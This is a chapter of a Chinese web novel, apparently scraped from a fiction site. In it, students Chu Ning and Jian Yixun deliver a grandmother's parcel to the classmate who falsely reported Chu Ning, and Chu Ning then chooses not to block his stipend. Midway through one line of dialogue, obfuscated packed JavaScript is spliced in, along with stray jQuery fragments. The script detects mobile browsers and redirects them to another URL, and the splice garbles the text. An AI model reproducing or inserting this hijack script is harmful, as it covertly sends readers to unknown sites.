26. lime bitter

作品:《春日青柠

    简以寻脸上挂着的笑顿住,手里提着蛇皮袋的力气倒是没松下。


    初柠闻言也愣半拍。


    老奶奶没察觉异样,见两人这反应,以为她说对了,三人就是有这么巧,真的认识。


    她说:“好孩子,你们和我家昭平是一个班的吗?”


    初柠回过神,微笑摇头:“不是,但我们是一个年级的,听说过他的名字。”


    老奶奶听此,不确定地担心问道:“这孩子,在学校听话吗?应该没惹什么事吧?”


    气氛一时有些沉默。


    简以寻似是不小心把蛇皮袋掉在地上,发出轻微动静。


    初柠注意到,简以寻似乎撇过头来看向了她。


    初柠没提举报信的事,简以寻眼有深意地看了初柠一眼。


    老奶奶松了口气,转而脸上多了些忧叹道:“地里忙,没事的时候还得去袜子厂帮忙打零工,镇上离学校太远,平常又不好总去邻居家借电话打给他,也不知道他一个人在学校习不习惯。我没读过书,也帮不上孩子的忙,幸亏这孩子自己懂事争气,考上了一中,成绩上也不用我太操心,前段时间还给我打电话说助学金要下来了,能帮我减轻点负担了。这孩子啊……”


    说到后面,老奶奶的眼神逐渐欣慰,也透着些愧疚。


    初柠没打断,也没多说,只是笑着倾听。


    出乎意料的是,简以寻也什么都没说。


    老奶奶自顾自说了会,像是恍然大悟地懊恼道:“是我老糊涂了,天冷,好孩子,你们赶紧回教室吧。东西就麻烦你们带给我家昭平了,谢谢你们啊。”


    初柠摇了摇头。


    简以寻抬手,上下拎了下袋子,瞧着很轻松的样子,他笑着说:“奶奶,没事,也不重。天冷了,你赶紧先回去吧,记得多穿点衣服。”


    最后一句嘱咐,不像是客气,寒冬冷日,听着颇有几分真心实意的温情。


    老奶奶笑呵着点头,说:“好好好,不冷不冷。”


    她从兜里掏出个折叠的红色塑料袋,翻了又翻,像是里面藏着珍贵的宝物,最后从最里面取出两颗大白兔奶糖,递给初柠,摸着她的手背。


    老奶奶的手很粗糙,掌纹和指甲缝里擦着似乎怎么也洗不干净的,经过岁月洗礼的黄泥巴,边角还有细细碎碎刮蹭的小伤口。


    初柠胸口的涩感更重。


    老奶奶的手很冰,手指头都在打抖,一双手紧紧地包住初柠的小手,将寒风都挡隔开来,像是一把大大的保护伞。


    她把糖塞到初柠掌心后,说了句就松开了,关切地嘱咐:“小姑娘多穿点,带个手套什么,太冷了,别冻坏了。你们平常学习辛苦了,要照顾好自己。”


    明明第一次碰面,老奶奶却碎碎念了好些关怀的话,对他们说,又像是在对其他人说。


    片刻。


    她看向简以寻,对着两人道:“都是好孩子,谢谢你们了啊,外面冷,快回去吧。”


    说完,老奶奶边往后走,边笑着朝两人摆手。


    简以寻点了点头。


    初柠动了动唇,声音有点哑,但很大声地道:“奶奶,路上注意安全。”


    一向说话温吞的女孩,此时说话声很用力,饱含着复杂的关切。


    奶奶笑着应了下头,佝偻着身子,脚步迟缓地朝公交车站的另一头走去。


    保安室的老大爷挂断给主任打的电话,从门卫室走出来,打了个哆嗦,把保温杯里剩下的茶水倒到一旁的草地上,瞧此,没由来地说了句,“怎么不坐公交车,从这走到客运站要走一阵吧。”


    初柠很一言不发地看着老奶奶离开的背影,她穿着那件单薄的棉衣,走得很慢,前面的道也很长。


    初柠站在校门口,寒风吹得她忍不住吸了下鼻子。


    一中到客运站是要走一阵,挺远的,快的话也得走一个小时。


    天这么冷,晚上回去的时候或许会一边泡脚,一边疼着捶腿。


    为什么不坐公交车呢,大抵是,总想多省下点钱吧。


    真需要钱的时候,一块钱也很重要。


    一毛两毛,一块两块,就这么把蹒跚学步的婴孩,从一点点拉扯大。


    初柠眨了眨眼,应是天太冷了,风把沙子吹进了眼里,不然她怎么会觉得眼睛有些难受。


    简以寻淡声说:“走吧。”


    初柠闻言,扭过头。


    简以寻稳稳地拎着蛇皮袋,手臂上青筋浮现,若隐若现的淡青色血管,衬得他的手更加冷白,添了几分漫不经心的柔软。


    鬼使神差,初柠问了句:“去哪儿?”


    简以寻挑了下眉:“把东西给齐昭平。”


    提到“齐昭平”三个字的时候,简以寻皱了下眉,瞬而,他道:“答应了奶奶要给齐昭平的。”


    简以寻补充道:“答应了别人的事情要做到。”


    初柠微不可察地松了口气。


    正要把手里的糖分一颗给简以寻,见他手上还提着东西,初柠直接塞到他的兜里,道:“奶奶给的,一人一颗。”


    简以寻不置可否。


    简以寻似是嫌弃地说:“把你眼睛擦一下,不然等会风一吹,把你眼睛冻得眼泪水直流,有你难受的。”


    初柠这才反应过来,她的眼尾不知何时晕了层水珠,眼睫毛上也沾了些水。


    她用袖口擦了下,把手放进兜里的时候,十指不由自主地缩成一团取暖。


    简以寻看着初柠蜷缩在一起的手,眼眸深了深。


    七班和九班离得近,初柠和简以寻下楼的时候看见齐昭平也往这栋教学楼走,应该也是刘海龙喊过去的。


    初柠本想和简以寻各拎一个角,一起抬,对方见状,径直往前走了步躲开。


    简以寻似是吐槽地说:“我自个就行。被别人看见,还以为我又欺负你。你还是把手放兜里,好好走路。”


    两个人走在路上,起初谁也没说话。


    简以寻蓦地出声道:“你刚才怎么没和齐昭平的奶奶说举报信的事。”


    初柠双手放在暖和的兜里取暖,厚厚暖暖的羽绒服,是奶奶熬了好几个夜给她做的。


    她答非所问地说:“齐昭平在的那个县城,往返江城每天只有一班车。他奶奶应该很早就起来搭早班车,再从客运站走到这里,她没有手机,不知道早自习什么时候下课,应该在这里等了很久。”


    初柠没有回到简以寻的问题,而是很平静地陈述着一个事实。


    她走了很远的路,年迈的身子背着沉甸的蛇皮袋,里面装满了要带给孙子的东西。


    寒冷的冬天,执着地站在校门口等许久,不一定真是怕东西丢了,或许就是想见见许久未见的孙子而已。


    她对孙子爱又愧疚,小心翼翼地问着他有没有在学校惹是生非,充满了关切和担忧。


    手指捏住衣兜一角,初柠说:“他奶奶只是来看看他,给孙子送点衣服和吃的而已。其他的事,也不重要。”


    仅此而已。


    简以寻没应。


    初柠的话,他似乎一点没听,又好像敛眸思索什么。


    初柠默了会,又问:“你不也没说?”


    简以寻闻言,随意地一笑:“你个当事人都没说,我多嘴干什么。”


    他没那么多管闲事。


    下一秒。


    初柠轻声说了句:“简以寻,你也把你的眼睛擦一下吧。”


    -


    两人刚走到教学楼下,楼梯间就传来道急匆匆的脚步声。


    倏尔。


    脚步声骤停。


    初柠抬头,看见齐昭平站在台阶上,微愣地看着简以寻手上拎着的蛇皮袋。


    看了眼冷着张脸的简以寻,他转头又看向初柠,欲言又止。


    简以寻“呵”了声,没什么好气道:“你奶奶给你带的东西。”


    齐昭平旋即走下,接过袋子。


    随即,张了张嘴,想说什么,又很犹豫。


    简以寻干脆掠过他上楼,胳膊似是不小心撞了下齐昭平的肩膀,他对着一旁的初柠道:“走了。”


    初柠看着有些尴尬的齐昭平,温静地从旁边空着的地方走。


    刚走没两步。


    初柠依稀听见一句很小声,很扭捏的一句,“谢谢。”


    -


    刘海龙找他们来果然是为了举报信的后续处理。


    听见刘海龙说老师们商讨取消齐昭平的助学金时。


    初柠忽地道:“主任,学校不是已经要公示了嘛。”


    刘海龙下意识点了点头。


    照流程,的确是该公示了,快学期末了,公示完就会把助学金发给学生了。


    初柠笑着说:“那就照常公示吧。”


    刘海龙诧异地扶了下眼镜,没想到初柠会不再追究。


    初柠说:“老师,助学金是学校和社会给予贫困学子的一份善意和帮助。齐昭平需要,他也符合条件,没理由不给。”


    理是这个理,但……


    刘海龙瞧初柠脸上并没有勉强的意思。


    刘海龙没说话,他又看向简以寻,毕竟某人也算是牵扯进来了:“简以寻,你觉得呢?”


    简以寻敛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601262|153020||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回余光,无所谓地耸了耸肩:“初柠都说没事了,我没什么意见,听她的。”


    简以寻面上瞧不出什么,但他说这句话的时候,话里话外似有几分气意和怒其不争。


    刘海龙在心里叹了口气,但转瞬似是又有些欣慰。


    诚然,齐昭平是犯了错,但作为老师,私心还是想给每个孩子一个机会,齐昭平的家庭……想到刚刚那通电话,刘海龙心里也不免有恻隐之心。


    刘海龙拍了拍初柠的肩膀,长吁一口气道:“你是个好孩子,受委屈了。”


    初柠笑了笑,没回答。


    走出去的时候,初柠瞧见楼梯拐角,仿佛刚擦过一道慌乱的身影。


    她眼神闪了闪。


    耳畔传来一道冷哼的男声。


    “自己受委屈,对别人挺善良大方,谁知道是不是白眼狼又来咬你一口。下楼往右走两百米是校医院,你可以去看看。”简以寻语气不善道。


    初柠受了委屈,齐昭平犯了错,该受到惩罚。


    他以为,初柠会赞同。


    简以寻不明白,初柠为什么还要帮齐昭平?


    如果是有人敢这么欺负他,简以寻一定会让那个人皆数换回来。


    初柠说:“万一呢?”


    简以寻冷声道:“呵,行,你去找齐昭平当好人吧,以后别和我说话了。”


    简以寻眉眼间含着冷怠,手因为刚刚在冷风里拎了一路的袋子,冻得微红和发颤。


    初柠闻言,温声说:“简以寻谢谢你,我知道你是为我好,替我打抱不平。”


    简以寻把头撇到一边。


    呵,还没那么近视,能看见。


    初柠说:“我也知道,如果不是最后真相明了,这件事或许就会像狗皮膏药一样黏在我身上,成为别人堂而皇之议论伤害我的借口。”


    “但是——”


    简以寻听见这两个字,下意识皱了眉。


    初柠放慢了嗓音,她一字一句地慢慢道:“简以寻,我也有奶奶。”


    初柠的眼神很平静,脸上还挂着笑。


    简以寻看见她唇边的笑,故作轻松的语气,简以寻忽觉心一揪,眉拧起。


    简以寻倏地想到在办公室看到的那张贫困生申请表,那句简简单单的一句话概括——


    父母早逝,从小和奶奶一起长大。


    照片上的她也是像现在这样笑着的,她笑得明媚、坚韧,瞧着似乎那上面描述的她的过去,都与她毫不相关一般。


    可偏偏,那就是她来时的路。


    ——她说,她也有奶奶。


    简以寻蓦觉喉咙有些堵,说不出话来。


    不是不在乎,只是初柠也有奶奶。


    有一个陪她长大,永远无条件爱她,支持她的奶奶。


    奶奶就像一棵大树,那么的可靠,高高的,壮壮的,替她遮风挡雨。


    护着小小的她,从一颗小草,也慢吞吞地长高。


    但明明,奶奶也是需要被保护的。


    小草想快快地长高,早早地护着大树。


    她们就是彼此最重要的存在。


    她不是软柿子,被人打了还要忍气吞声,也不是接受了齐昭平的道歉。


    道歉是加害者应该对受害者所做的,可不代表受害者一定要接受原谅。


    毕竟伤害了就是伤害了,无法掩盖。


    可说她侥幸心理也好,到底过去了,这件事,那个人,对她来说,都已经不过是人生并不重要的插曲。


    她不是帮齐昭平。


    她只是想到齐昭平的奶奶,想到拳拳爱孙之心,想到……她的奶奶。


    就当是,给一个机会吧。


    万一,在未来的某一刻,就有那么一块钱对齐昭平和他的奶奶来说很重要。


    万一万一……


    她也有奶奶,也有和齐昭平相似的家庭情况。


    她知道,唯一的亲人对他们的重要性。


    她知道,在他们都最无能为力的年纪,一份助学金,一份同龄人可能很难理解的金钱,对他们的重要意义。


    那是他们,为数不多的力所能及。


    于她而言,他做错了选择。


    于他而言,心却未必。


    远方的家中,还有最爱的亲人在等待着他们,盼望他们一切平安。


    而他们,也希望能成为亲人的依靠。


    抄在兜里的手摸到那颗一层层塑料袋保护的大白兔奶糖,简以寻心中的气闷莫名复杂。


    简以寻“切”了声,似是仍不赞同地生气了,背过身,甩下句:“随你。”